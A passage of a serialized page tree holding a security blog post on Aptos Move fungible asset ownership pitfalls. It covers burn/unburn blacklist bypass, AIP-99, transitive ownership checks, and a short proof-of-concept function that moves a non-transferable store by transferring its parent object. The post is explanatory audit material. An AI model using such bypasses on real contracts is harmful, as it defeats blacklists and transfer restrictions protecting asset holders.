abort_on_dispatch",{"type":21,"tag":198,"props":64096,"children":64097},{"style":683},[64098],{"type":27,"value":185},{"type":21,"tag":198,"props":64100,"children":64101},{"style":1966},[64102],{"type":27,"value":12860},{"type":21,"tag":198,"props":64104,"children":64105},{"style":211},[64106],{"type":27,"value":257},{"type":21,"tag":198,"props":64108,"children":64109},{"class":200,"line":281},[64110,64114,64118,64122,64126,64131],{"type":21,"tag":198,"props":64111,"children":64112},{"style":211},[64113],{"type":27,"value":1541},{"type":21,"tag":198,"props":64115,"children":64116},{"style":226},[64117],{"type":27,"value":7156},{"type":21,"tag":198,"props":64119,"children":64120},{"style":1966},[64121],{"type":27,"value":62474},{"type":21,"tag":198,"props":64123,"children":64124},{"style":211},[64125],{"type":27,"value":828},{"type":21,"tag":198,"props":64127,"children":64128},{"style":1966},[64129],{"type":27,"value":64130},"DispatchFunctionStore",{"type":21,"tag":198,"props":64132,"children":64133},{"style":211},[64134],{"type":27,"value":233},{"type":21,"tag":198,"props":64136,"children":64137},{"class":200,"line":302},[64138,64142,64147,64151,64156,64160,64164,64168,64172,64176,64180,64184,64189,64193,64198],{"type":21,"tag":198,"props":64139,"children":64140},{"style":698},[64141],{"type":27,"value":62722},{"type":21,"tag":198,"props":64143,"children":64144},{"style":211},[64145],{"type":27,"value":64146},"(object",{"type":21,"tag":198,"props":64148,"children":64149},{"style":683},[64150],{"type":27,"value":4286},{"type":21,"tag":198,"props":64152,"children":64153},{"style":698},[64154],{"type":27,"value":64155},"owns",{"type":21,"tag":198,"props":64157,"children":64158},{"style":211},[64159],{"type":27,"value":706},{"type":21,"tag":198,"props":64161,"children":64162},{"style":226},[64163],{"type":27,"value":6753},{"type":21,"tag":198,"props":64165,"children":64166},{"style":211},[64167],{"type":27,"value":13742},{"type":21,"tag":198,"props":64169,"children":64170},{"style":683},[64171],{"type":27,"value":4286},{"type":21,"tag":198,"props":64173,"children":64174},{"style":698},[64175],{"type":27,"value":8021},{"type":21,"tag":198,"props":64177,"children":64178},{"style":211},[64179],{"type":27,"value":706},{"type":21,"tag":198,"props":64181,"children":64182},{"style":226},[64183],{"type":27,"value":16412},{"type":21,"tag":198,"props":64185,"children":64186},{"style":211},[64187],{"type":27,"value":64188},")), error",{"type":21,"tag":198,"props":64190,"children":64191},{"style":683},[64192],{"type":27,"value":4286},{"type":21,"tag":198,"props":64194,"children":64195},{"style":698},[64196],{"type":27,"value":64197},"permission_denied",{"type":21,"tag":198,"props":64199,"children":64200},{"style":211},[64201],{"type":27,"value":64202},"(ENOT_STORE_OWNER));\n",{"type":21,"tag":198,"props":64204,"children":64205},{"class":200,"line":323},[64206,64210,64214],{"type":21,"tag":198,"props":64207,"children":64208},{"style":211},[64209],{"type":27,"value":63096},{"type":21,"tag":198,"props":64211,"children":64212},{"style":683},[64213],{"type":27,"value":10402},{"type":21,"tag":198,"props":64215,"children":64216},{"style":211},[64217],{"type":27,"value":12582},{"type":21,"tag":198,"props":64219,"children":64220},{"class":200,"line":344},[64221],{"type":21,"tag":198,"props":64222,"children":64223},{"style":211},[64224],{"type":27,"value":1120},{"type":21,"tag":30,"props":64226,"children":64227},{},[64228,64230,64235,64237,64243,64245,64251],{"type":27,"value":64229},"The thing to note is that defining ownership with ",{"type":21,"tag":194,"props":64231,"children":64233},{"className":64232},[],[64234],{"type":27,"value":63972},{"type":27,"value":64236}," can be tricky. The ",{"type":21,"tag":194,"props":64238,"children":64240},{"className":64239},[],[64241],{"type":27,"value":64242},"burn",{"type":27,"value":64244}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":21,"tag":194,"props":64246,"children":64248},{"className":64247},[],[64249],{"type":27,"value":64250},"BURN_ADDRESS",{"type":27,"value":64252}," while bypassing transfer restrictions:",{"type":21,"tag":187,"props":64254,"children":64256},{"className":3789,"code":64255,"language":3788,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[64257],{"type":21,"tag":194,"props":64258,"children":64259},{"__ignoreMap":7},[64260,64357,64398,64448,64477,64527,64548],{"type":21,"tag":198,"props":64261,"children":64262},{"class":200,"line":201},[64263,64267,64271,64275,64280,64284,64288,64292,64296,64300,64304,64308,64312,64316,64320,64324,64328,64332,64336,64340,64344,64348,64353],{"type":21,"tag":198,"props":64264,"children":64265},{"style":226},[64266],{"type":27,"value":62053},{"type":21,"tag":198,"props":64268,"children":64269},{"style":226},[64270],{"type":27,"value":63020},{"type":21,"tag":198,"props":64272,"children":64273},{"style":226},[64274],{"type":27,"value":7019},{"type":21,"tag":198,"props":64276,"children":64277},{"style":226},[64278],{"type":27,"value":64279}," burn",{"type":21,"tag":198,"props":64281,"children":64282},{"style":211},[64283],{"type":27,"value":3159},{"type":21,"tag":198,"props":64285,"children":64286},{"style":1966},[64287],{"type":27,"value":6800},{"type":21,"tag":198,"props":64289,"children":64290},{"style":683},[64291],{"type":27,"value":185},{"type":21,"tag":198,"props":64293,"children":64294},{"style":226},[64295],{"type":27,"value":6744},{"type":21,"tag":198,"props":64297,"children":64298},{"style":211},[64299],{"type":27,"value":8423},{"type":21,"tag":198,"props":64301,"children":64302},{"style":226},[64303],{"type":27,"value":16412},{"type":21,"tag":198,"props":64305,"children":64306},{"style":683},[64307],{"type":27,"value":185},{"type":21,"tag":198,"props":64309,"children":64310},{"style":683},[64311],{"type":27,"value":7953},{"type":21,"tag":198,"props":64313,"children":64314},{"style":226},[64315],{"type":27,"value":7958},{"type":21,"tag":198,"props":64317,"children":64318},{"style":211},[64319],{"type":27,"value":828},{"type":21,"tag":198,"props":64321,"children":64322},{"style":226},[64323],{"type":27,"value":63288},{"type":21,"tag":198,"props":64325,"children":64326},{"style":683},[64327],{"type":27,"value":185},{"type":21,"tag":198,"props":64329,"children":64330},{"style":1966},[64331],{"type":27,"value":61939},{"type":21,"tag":198,"props":64333,"children":64334},{"style":211},[64335],{"type":27,"value":3159},{"type":21,"tag":198,"props":64337,"children":64338},{"style":1966},[64339],{"type":27,"value":6800},{"type":21,"tag":198,"props":64341,"children":64342},{"style":211},[64343],{"type":27,"value":21241},{"type":21,"tag":198,"props":64345,"children":64346},{"style":226},[64347],{"type":27,"value":7156},{"type":21,"tag":198,"props":64349,"children":64350},{"style":1966},[64351],{"type":27,"value":64352}," ObjectCore",{"type":21,"tag":198,"props":64354,"children":64355},{"style":211},[64356],{"type":27,"value":233},{"type":21,"tag":198,"props":64358,"children":64359},{"class":200,"line":217},[64360,64364,64369,64373,64378,64382,64386,64390,64394],{"type":21,"tag":198,"props":64361,"children":64362},{"style":249},[64363],{"type":27,"value":3809},{"type":21,"tag":198,"props":64365,"children":64366},{"style":226},[64367],{"type":27,"value":64368}," original_owner",{"type":21,"tag":198,"props":64370,"children":64371},{"style":683},[64372],{"type":27,"value":979},{"type":21,"tag":198,"props":64374,"children":64375},{"style":211},[64376],{"type":27,"value":64377}," signer",{"type":21,"tag":198,"props":64379,"children":64380},{"style":683},[64381],{"type":27,"value":4286},{"type":21,"tag":198,"props":64383,"children":64384},{"style":698},[64385],{"type":27,"value":8021},{"type":21,"tag":198,"props":64387,"children":64388},{"style":211},[64389],{"type":27,"value":706},{"type":21,"tag":198,"props":64391,"children":64392},{"style":226},[64393],{"type":27,"value":16412},{"type":21,"tag":198,"props":64395,"children":64396},{"style":211},[64397],{"type":27,"value":1470},{"type":21,"tag":198,"props":64399,"children":64400},{"class":200,"line":236},[64401,64405,64409,64414,64418,64422,64426,64431,64435,64439,64443],{"type":21,"tag":198,"props":64402,"children":64403},{"style":698},[64404],{"type":27,"value":62722},{"type":21,"tag":198,"props":64406,"children":64407},{"style":211},[64408],{"type":27,"value":706},{"type":21,"tag":198,"props":64410,"children":64411},{"style":698},[64412],{"type":27,"value":64413},"is_owner",{"type":21,"tag":198,"props":64415,"children":64416},{"style":211},[64417],{"type":27,"value":706},{"type":21,"tag":198,"props":64419,"children":64420},{"style":226},[64421],{"type":27,"value":63288},{"type":21,"tag":198,"props":64423,"children":64424},{"style":211},[64425],{"type":27,"value":828},{"type":21,"tag":198,"props":64427,"children":64428},{"style":226},[64429],{"type":27,"value":64430},"original_owner",{"type":21,"tag":198,"props":64432,"children":64433},{"style":211},[64434],{"type":27,"value":63311},{"type":21,"tag":198,"props":64436,"children":64437},{"style":683},[64438],{"type":27,"value":4286},{"type":21,"tag":198,"props":64440,"children":64441},{"style":698},[64442],{"type":27,"value":64197},{"type":21,"tag":198,"props":64444,"children":64445},{"style":211},[64446],{"type":27,"value":64447},"(ENOT_OBJECT_OWNER));\n",{"type":21,"tag":198,"props":64449,"children":64450},{"class":200,"line":260},[64451,64455,64460,64464,64468,64472],{"type":21,"tag":198,"props":64452,"children":64453},{"style":249},[64454],{"type":27,"value":3809},{"type":21,"tag":198,"props":64456,"children":64457},{"style":226},[64458],{"type":27,"value":64459}," object_addr",{"type":21,"tag":198,"props":64461,"children":64462},{"style":683},[64463],{"type":27,"value":979},{"type":21,"tag":198,"props":64465,"children":64466},{"style":226},[64467],{"type":27,"value":62872},{"type":21,"tag":198,"props":64469,"children":64470},{"style":683},[64471],{"type":27,"value":658},{"type":21,"tag":198,"props":64473,"children":64474},{"style":211},[64475],{"type":27,"value":64476},"inner;\n",{"type":21,"tag":198,"props":64478,"children":64479},{"class":200,"line":281},[64480,64484,64488,64492,64497,64501,64506,64510,64515,64519,64523],{"type":21,"tag":198,"props":64481,"children":64482},{"style":698},[64483],{"type":27,"value":63475},{"type":21,"tag":198,"props":64485,"children":64486},{"style":211},[64487],{"type":27,"value":706},{"type":21,"tag":198,"props":64489,"children":64490},{"style":683},[64491],{"type":27,"value":3917},{"type":21,"tag":198,"props":64493,"children":64494},{"style":698},[64495],{"type":27,"value":64496},"create_signer",{"type":21,"tag":198,"props":64498,"children":64499},{"style":211},[64500],{"type":27,"value":706},{"type":21,"tag":198,"props":64502,"children":64503},{"style":226},[64504],{"type":27,"value":64505},"object_addr",{"type":21,"tag":198,"props":64507,"children":64508},{"style":211},[64509],{"type":27,"value":15982},{"type":21,"tag":198,"props":64511,"children":64512},{"style":1966},[64513],{"type":27,"value":64514},"TombStone",{"type":21,"tag":198,"props":64516,"children":64517},{"style":211},[64518],{"type":27,"value":1891},{"type":21,"tag":198,"props":64520,"children":64521},{"style":226},[64522],{"type":27,"value":64430},{"type":21,"tag":198,"props":64524,"children":64525},{"style":211},[64526],{"type":27,"value":39593},{"type":21,"tag":198,"props":64528,"children":64529},{"class":200,"line":302},[64530,64535,64539,64543],{"type":21,"tag":198,"props":64531,"children":64532},{"style":698},[64533],{"type":27,"value":64534}," transfer_raw_inner",{"type":21,"tag":198,"props":64536,"children":64537},{"style":211},[64538],{"type":27,"value":706},{"type":21,"tag":198,"props":64540,"children":64541},{"style":226},[64542],{"type":27,"value":64505},{"type":21,"tag":198,"props":64544,"children":64545},{"style":211},[64546],{"type":27,"value":64547},", BURN_ADDRESS);\n",{"type":21,"tag":198,"props":64549,"children":64550},{"class":200,"line":323},[64551],{"type":21,"tag":198,"props":64552,"children":64553},{"style":211},[64554],{"type":27,"value":1120},{"type":21,"tag":30,"props":64556,"children":64557},{},[64558,64564,64566,64571,64572,64579,64581,64586],{"type":21,"tag":194,"props":64559,"children":64561},{"className":64560},[],[64562],{"type":27,"value":64563},"unburn",{"type":27,"value":64565}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":21,"tag":194,"props":64567,"children":64569},{"className":64568},[],[64570],{"type":27,"value":64250},{"type":27,"value":19331},{"type":21,"tag":34,"props":64573,"children":64576},{"href":64574,"rel":64575},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[38],[64577],{"type":27,"value":64578},"AIP-99",{"type":27,"value":64580}," is a proposal to roll back the ",{"type":21,"tag":194,"props":64582,"children":64584},{"className":64583},[],[64585],{"type":27,"value":64242},{"type":27,"value":64587}," feature, but previously burned objects will remain restorable.",{"type":21,"tag":3741,"props":64589,"children":64590},{},[64591],{"type":21,"tag":30,"props":64592,"children":64593},{},[64594,64596,64600],{"type":27,"value":64595},"This ",{"type":21,"tag":198,"props":64597,"children":64598},{},[64599],{"type":27,"value":64578},{"type":27,"value":64601}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":21,"tag":30,"props":64603,"children":64604},{},[64605,64607,64613,64615,64620,64622,64627],{"type":27,"value":64606},"Another important thing is that ",{"type":21,"tag":194,"props":64608,"children":64610},{"className":64609},[],[64611],{"type":27,"value":64612},"fungible_asset::set_untransferable",{"type":27,"value":64614}," can be used to make all new ",{"type":21,"tag":194,"props":64616,"children":64618},{"className":64617},[],[64619],{"type":27,"value":62958},{"type":27,"value":64621}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":21,"tag":194,"props":64623,"children":64625},{"className":64624},[],[64626],{"type":27,"value":62454},{"type":27,"value":658},{"type":21,"tag":30,"props":64629,"children":64630},{},[64631,64633,64638,64640,64646,64648,64653,64655,64660],{"type":27,"value":64632},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":21,"tag":194,"props":64634,"children":64636},{"className":64635},[],[64637],{"type":27,"value":62454},{"type":27,"value":64639},", X can withdraw from that store. This is because ",{"type":21,"tag":194,"props":64641,"children":64643},{"className":64642},[],[64644],{"type":27,"value":64645},"fungible_asset::withdraw",{"type":27,"value":64647}," uses ",{"type":21,"tag":194,"props":64649,"children":64651},{"className":64650},[],[64652],{"type":27,"value":63972},{"type":27,"value":64654}," to verify both direct and indirect ownership of the ",{"type":21,"tag":194,"props":64656,"children":64658},{"className":64657},[],[64659],{"type":27,"value":62454},{"type":27,"value":3307},{"type":21,"tag":187,"props":64662,"children":64664},{"className":3789,"code":64663,"language":3788,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[64665],{"type":21,"tag":194,"props":64666,"children":64667},{"__ignoreMap":7},[64668,64729,64745,64775,64804,64819,64831,64861,64882,64889,64929,64954,64961],{"type":21,"tag":198,"props":64669,"children":64670},{"class":200,"line":201},[64671,64675,64680,64684,64688,64692,64696,64700,64705,64709,64713,64717,64721,64725],{"type":21,"tag":198,"props":64672,"children":64673},{"style":226},[64674],{"type":27,"value":7919},{"type":21,"tag":198,"props":64676,"children":64677},{"style":698},[64678],{"type":27,"value":64679}," verify_ungated_and_descendant",{"type":21,"tag":198,"props":64681,"children":64682},{"style":211},[64683],{"type":27,"value":706},{"type":21,"tag":198,"props":64685,"children":64686},{"style":226},[64687],{"type":27,"value":16412},{"type":21,"tag":198,"props":64689,"children":64690},{"style":683},[64691],{"type":27,"value":185},{"type":21,"tag":198,"props":64693,"children":64694},{"style":226},[64695],{"type":27,"value":7062},{"type":21,"tag":198,"props":64697,"children":64698},{"style":211},[64699],{"type":27,"value":828},{"type":21,"tag":198,"props":64701,"children":64702},{"style":226},[64703],{"type":27,"value":64704},"destination",{"type":21,"tag":198,"props":64706,"children":64707},{"style":683},[64708],{"type":27,"value":185},{"type":21,"tag":198,"props":64710,"children":64711},{"style":226},[64712],{"type":27,"value":7062},{"type":21,"tag":198,"props":64714,"children":64715},{"style":211},[64716],{"type":27,"value":1541},{"type":21,"tag":198,"props":64718,"children":64719},{"style":226},[64720],{"type":27,"value":7156},{"type":21,"tag":198,"props":64722,"children":64723},{"style":1966},[64724],{"type":27,"value":64352},{"type":21,"tag":198,"props":64726,"children":64727},{"style":211},[64728],{"type":27,"value":233},{"type":21,"tag":198,"props":64730,"children":64731},{"class":200,"line":217},[64732,64737,64741],{"type":21,"tag":198,"props":64733,"children":64734},{"style":211},[64735],{"type":27,"value":64736}," [",{"type":21,"tag":198,"props":64738,"children":64739},{"style":683},[64740],{"type":27,"value":10402},{"type":21,"tag":198,"props":64742,"children":64743},{"style":211},[64744],{"type":27,"value":12582},{"type":21,"tag":198,"props":64746,"children":64747},{"class":200,"line":236},[64748,64753,64757,64761,64766,64771],{"type":21,"tag":198,"props":64749,"children":64750},{"style":640},[64751],{"type":27,"value":64752}," while",{"type":21,"tag":198,"props":64754,"children":64755},{"style":211},[64756],{"type":27,"value":648},{"type":21,"tag":198,"props":64758,"children":64759},{"style":226},[64760],{"type":27,"value":16412},{"type":21,"tag":198,"props":64762,"children":64763},{"style":683},[64764],{"type":27,"value":64765}," !=",{"type":21,"tag":198,"props":64767,"children":64768},{"style":226},[64769],{"type":27,"value":64770}," current_address",{"type":21,"tag":198,"props":64772,"children":64773},{"style":211},[64774],{"type":27,"value":668},{"type":21,"tag":198,"props":64776,"children":64777},{"class":200,"line":260},[64778,64783,64787,64792,64796,64800],{"type":21,"tag":198,"props":64779,"children":64780},{"style":226},[64781],{"type":27,"value":64782}," count",{"type":21,"tag":198,"props":64784,"children":64785},{"style":683},[64786],{"type":27,"value":979},{"type":21,"tag":198,"props":64788,"children":64789},{"style":226},[64790],{"type":27,"value":64791}," count",{"type":21,"tag":198,"props":64793,"children":64794},{"style":683},[64795],{"type":27,"value":1440},{"type":21,"tag":198,"props":64797,"children":64798},{"style":2540},[64799],{"type":27,"value":5335},{"type":21,"tag":198,"props":64801,"children":64802},{"style":211},[64803],{"type":27,"value":1483},{"type":21,"tag":198,"props":64805,"children":64806},{"class":200,"line":281},[64807,64811,64815],{"type":21,"tag":198,"props":64808,"children":64809},{"style":211},[64810],{"type":27,"value":64736},{"type":21,"tag":198,"props":64812,"children":64813},{"style":683},[64814],{"type":27,"value":10402},{"type":21,"tag":198,"props":64816,"children":64817},{"style":211},[64818],{"type":27,"value":12582},{"type":21,"tag":198,"props":64820,"children":64821},{"class":200,"line":302},[64822,64827],{"type":21,"tag":198,"props":64823,"children":64824},{"style":698},[64825],{"type":27,"value":64826}," assert!",{"type":21,"tag":198,"props":64828,"children":64829},{"style":211},[64830],{"type":27,"value":4268},{"type":21,"tag":198,"props":64832,"children":64833},{"class":200,"line":323},[64834,64839,64843,64848,64852,64857],{"type":21,"tag":198,"props":64835,"children":64836},{"style":226},[64837],{"type":27,"value":64838}," exists",{"type":21,"tag":198,"props":64840,"children":64841},{"style":211},[64842],{"type":27,"value":3159},{"type":21,"tag":198,"props":64844,"children":64845},{"style":1966},[64846],{"type":27,"value":64847},"ObjectCore",{"type":21,"tag":198,"props":64849,"children":64850},{"style":211},[64851],{"type":27,"value":8423},{"type":21,"tag":198,"props":64853,"children":64854},{"style":226},[64855],{"type":27,"value":64856},"current_address",{"type":21,"tag":198,"props":64858,"children":64859},{"style":211},[64860],{"type":27,"value":7548},{"type":21,"tag":198,"props":64862,"children":64863},{"class":200,"line":344},[64864,64869,64873,64877],{"type":21,"tag":198,"props":64865,"children":64866},{"style":211},[64867],{"type":27,"value":64868}," error",{"type":21,"tag":198,"props":64870,"children":64871},{"style":683},[64872],{"type":27,"value":4286},{"type":21,"tag":198,"props":64874,"children":64875},{"style":698},[64876],{"type":27,"value":64197},{"type":21,"tag":198,"props":64878,"children":64879},{"style":211},[64880],{"type":27,"value":64881},"(ENOT_OBJECT_OWNER),\n",{"type":21,"tag":198,"props":64883,"children":64884},{"class":200,"line":365},[64885],{"type":21,"tag":198,"props":64886,"children":64887},{"style":211},[64888],{"type":27,"value":8555},{"type":21,"tag":198,"props":64890,"children":64891},{"class":200,"line":386},[64892,64896,64900,64904,64909,64913,64917,64921,64925],{"type":21,"tag":198,"props":64893,"children":64894},{"style":249},[64895],{"type":27,"value":3873},{"type":21,"tag":198,"props":64897,"children":64898},{"style":226},[64899],{"type":27,"value":62872},{"type":21,"tag":198,"props":64901,"children":64902},{"style":683},[64903],{"type":27,"value":979},{"type":21,"tag":198,"props":64905,"children":64906},{"style":226},[64907],{"type":27,"value":64908}," borrow_global",{"type":21,"tag":198,"props":64910,"children":64911},{"style":211},[64912],{"type":27,"value":3159},{"type":21,"tag":198,"props":64914,"children":64915},{"style":1966},[64916],{"type":27,"value":64847},{"type":21,"tag":198,"props":64918,"children":64919},{"style":211},[64920],{"type":27,"value":8423},{"type":21,"tag":198,"props":64922,"children":64923},{"style":226},[64924],{"type":27,"value":64856},{"type":21,"tag":198,"props":64926,"children":64927},{"style":211},[64928],{"type":27,"value":1470},{"type":21,"tag":198,"props":64930,"children":64931},{"class":200,"line":408},[64932,64937,64941,64945,64949],{"type":21,"tag":198,"props":64933,"children":64934},{"style":226},[64935],{"type":27,"value":64936}," current_address",{"type":21,"tag":198,"props":64938,"children":64939},{"style":683},[64940],{"type":27,"value":979},{"type":21,"tag":198,"props":64942,"children":64943},{"style":226},[64944],{"type":27,"value":62872},{"type":21,"tag":198,"props":64946,"children":64947},{"style":683},[64948],{"type":27,"value":658},{"type":21,"tag":198,"props":64950,"children":64951},{"style":211},[64952],{"type":27,"value":64953},"owner;\n",{"type":21,"tag":198,"props":64955,"children":64956},{"class":200,"line":429},[64957],{"type":21,"tag":198,"props":64958,"children":64959},{"style":211},[64960],{"type":27,"value":39755},{"type":21,"tag":198,"props":64962,"children":64963},{"class":200,"line":450},[64964],{"type":21,"tag":198,"props":64965,"children":64966},{"style":211},[64967],{"type":27,"value":1120},{"type":21,"tag":30,"props":64969,"children":64970},{},[64971,64973,64978],{"type":27,"value":64972},"This could allow for bypassing assumptions about ",{"type":21,"tag":194,"props":64974,"children":64976},{"className":64975},[],[64977],{"type":27,"value":62454},{"type":27,"value":64979}," true ownership and its non-transferability.",{"type":21,"tag":187,"props":64981,"children":64983},{"className":3789,"code":64982,"language":3788,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[64984],{"type":21,"tag":194,"props":64985,"children":64986},{"__ignoreMap":7},[64987,65045,65098,65142,65190,65197,65242,65250],{"type":21,"tag":198,"props":64988,"children":64989},{"class":200,"line":201},[64990,64994,64998,65003,65007,65012,65016,65020,65024,65028,65033,65037,65041],{"type":21,"tag":198,"props":64991,"children":64992},{"style":226},[64993],{"type":27,"value":62053},{"type":21,"tag":198,"props":64995,"children":64996},{"style":226},[64997],{"type":27,"value":7019},{"type":21,"tag":198,"props":64999,"children":65000},{"style":698},[65001],{"type":27,"value":65002}," untransferable_transfer",{"type":21,"tag":198,"props":65004,"children":65005},{"style":211},[65006],{"type":27,"value":706},{"type":21,"tag":198,"props":65008,"children":65009},{"style":226},[65010],{"type":27,"value":65011},"caller",{"type":21,"tag":198,"props":65013,"children":65014},{"style":683},[65015],{"type":27,"value":185},{"type":21,"tag":198,"props":65017,"children":65018},{"style":683},[65019],{"type":27,"value":7953},{"type":21,"tag":198,"props":65021,"children":65022},{"style":226},[65023],{"type":27,"value":7958},{"type":21,"tag":198,"props":65025,"children":65026},{"style":211},[65027],{"type":27,"value":828},{"type":21,"tag":198,"props":65029,"children":65030},{"style":226},[65031],{"type":27,"value":65032},"receipient",{"type":21,"tag":198,"props":65034,"children":65035},{"style":683},[65036],{"type":27,"value":185},{"type":21,"tag":198,"props":65038,"children":65039},{"style":226},[65040],{"type":27,"value":7062},{"type":21,"tag":198,"props":65042,"children":65043},{"style":211},[65044],{"type":27,"value":668},{"type":21,"tag":198,"props":65046,"children":65047},{"class":200,"line":217},[65048,65052,65057,65061,65065,65069,65074,65078,65082,65086,65090,65094],{"type":21,"tag":198,"props":65049,"children":65050},{"style":249},[65051],{"type":27,"value":3809},{"type":21,"tag":198,"props":65053,"children":65054},{"style":226},[65055],{"type":27,"value":65056}," constructor_ref",{"type":21,"tag":198,"props":65058,"children":65059},{"style":683},[65060],{"type":27,"value":979},{"type":21,"tag":198,"props":65062,"children":65063},{"style":211},[65064],{"type":27,"value":62872},{"type":21,"tag":198,"props":65066,"children":65067},{"style":683},[65068],{"type":27,"value":4286},{"type":21,"tag":198,"props":65070,"children":65071},{"style":698},[65072],{"type":27,"value":65073},"create_object",{"type":21,"tag":198,"props":65075,"children":65076},{"style":211},[65077],{"type":27,"value":8012},{"type":21,"tag":198,"props":65079,"children":65080},{"style":683},[65081],{"type":27,"value":4286},{"type":21,"tag":198,"props":65083,"children":65084},{"style":698},[65085],{"type":27,"value":8021},{"type":21,"tag":198,"props":65087,"children":65088},{"style":211},[65089],{"type":27,"value":706},{"type":21,"tag":198,"props":65091,"children":65092},{"style":226},[65093],{"type":27,"value":65011},{"type":21,"tag":198,"props":65095,"children":65096},{"style":211},[65097],{"type":27,"value":8035},{"type":21,"tag":198,"props":65099,"children":65100},{"class":200,"line":236},[65101,65105,65109,65113,65117,65121,65126,65130,65134,65138],{"type":21,"tag":198,"props":65102,"children":65103},{"style":249},[65104],{"type":27,"value":3809},{"type":21,"tag":198,"props":65106,"children":65107},{"style":226},[65108],{"type":27,"value":64459},{"type":21,"tag":198,"props":65110,"children":65111},{"style":683},[65112],{"type":27,"value":979},{"type":21,"tag":198,"props":65114,"children":65115},{"style":211},[65116],{"type":27,"value":62872},{"type":21,"tag":198,"props":65118,"children":65119},{"style":683},[65120],{"type":27,"value":4286},{"type":21,"tag":198,"props":65122,"children":65123},{"style":698},[65124],{"type":27,"value":65125},"address_from_constructor_ref",{"type":21,"tag":198,"props":65127,"children":65128},{"style":211},[65129],{"type":27,"value":706},{"type":21,"tag":198,"props":65131,"children":65132},{"style":683},[65133],{"type":27,"value":3917},{"type":21,"tag":198,"props":65135,"children":65136},{"style":226},[65137],{"type":27,"value":63306},{"type":21,"tag":198,"props":65139,"children":65140},{"style":211},[65141],{"type":27,"value":1470},{"type":21,"tag":198,"props":65143,"children":65144},{"class":200,"line":260},[65145,65149,65153,65157,65162,65166,65170,65174,65178,65182,65186],{"type":21,"tag":198,"props":65146,"children":65147},{"style":249},[65148],{"type":27,"value":3809},{"type":21,"tag":198,"props":65150,"children":65151},{"style":226},[65152],{"type":27,"value":6644},{"type":21,"tag":198,"props":65154,"children":65155},{"style":683},[65156],{"type":27,"value":979},{"type":21,"tag":198,"props":65158,"children":65159},{"style":211},[65160],{"type":27,"value":65161}," primary_fungible_store",{"type":21,"tag":198,"props":65163,"children":65164},{"style":683},[65165],{"type":27,"value":4286},{"type":21,"tag":198,"props":65167,"children":65168},{"style":698},[65169],{"type":27,"value":63198},{"type":21,"tag":198,"props":65171,"children":65172},{"style":211},[65173],{"type":27,"value":706},{"type":21,"tag":198,"props":65175,"children":65176},{"style":226},[65177],{"type":27,"value":64505},{"type":21,"tag":198,"props":65179,"children":65180},{"style":211},[65181],{"type":27,"value":828},{"type":21,"tag":198,"props":65183,"children":65184},{"style":698},[65185],{"type":27,"value":63154},{"type":21,"tag":198,"props":65187,"children":65188},{"style":211},[65189],{"type":27,"value":16229},{"type":21,"tag":198,"props":65191,"children":65192},{"class":200,"line":281},[65193],{"type":21,"tag":198,"props":65194,"children":65195},{"emptyLinePlaceholder":16},[65196],{"type":27,"value":1283},{"type":21,"tag":198,"props":65198,"children":65199},{"class":200,"line":302},[65200,65205,65209,65214,65218,65222,65226,65230,65234,65238],{"type":21,"tag":198,"props":65201,"children":65202},{"style":211},[65203],{"type":27,"value":65204}," object",{"type":21,"tag":198,"props":65206,"children":65207},{"style":683},[65208],{"type":27,"value":4286},{"type":21,"tag":198,"props":65210,"children":65211},{"style":698},[65212],{"type":27,"value":65213},"transfer_raw",{"type":21,"tag":198,"props":65215,"children":65216},{"style":211},[65217],{"type":27,"value":706},{"type":21,"tag":198,"props":65219,"children":65220},{"style":226},[65221],{"type":27,"value":65011},{"type":21,"tag":198,"props":65223,"children":65224},{"style":211},[65225],{"type":27,"value":828},{"type":21,"tag":198,"props":65227,"children":65228},{"style":226},[65229],{"type":27,"value":64505},{"type":21,"tag":198,"props":65231,"children":65232},{"style":211},[65233],{"type":27,"value":828},{"type":21,"tag":198,"props":65235,"children":65236},{"style":226},[65237],{"type":27,"value":65032},{"type":21,"tag":198,"props":65239,"children":65240},{"style":211},[65241],{"type":27,"value":1470},{"type":21,"tag":198,"props":65243,"children":65244},{"class":200,"line":323},[65245],{"type":21,"tag":198,"props":65246,"children":65247},{"style":1233},[65248],{"type":27,"value":65249}," //receipient can interact with store by using their signer\n",{"type":21,"tag":198,"props":65251,"children":65252},{"class":200,"line":344},[65253],{"type":21,"tag":198,"props":65254,"children":65255},{"style":211},[65256],{"type":27,"value":1120},{"type":21,"tag":30,"props":65258,"children":65259},{},[65260,65262,65269],{"type":27,"value":65261},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":21,"tag":34,"props":65263,"children":65266},{"href":65264,"rel":65265},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[38],[65267],{"type":27,"value":65268},"edge case",{"type":27,"value":65270}," involving the transfer of a non-transferable fungible store.",{"type":21,"tag":187,"props":65272,"children":65274},{"className":3789,"code":65273,"language":3788,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n 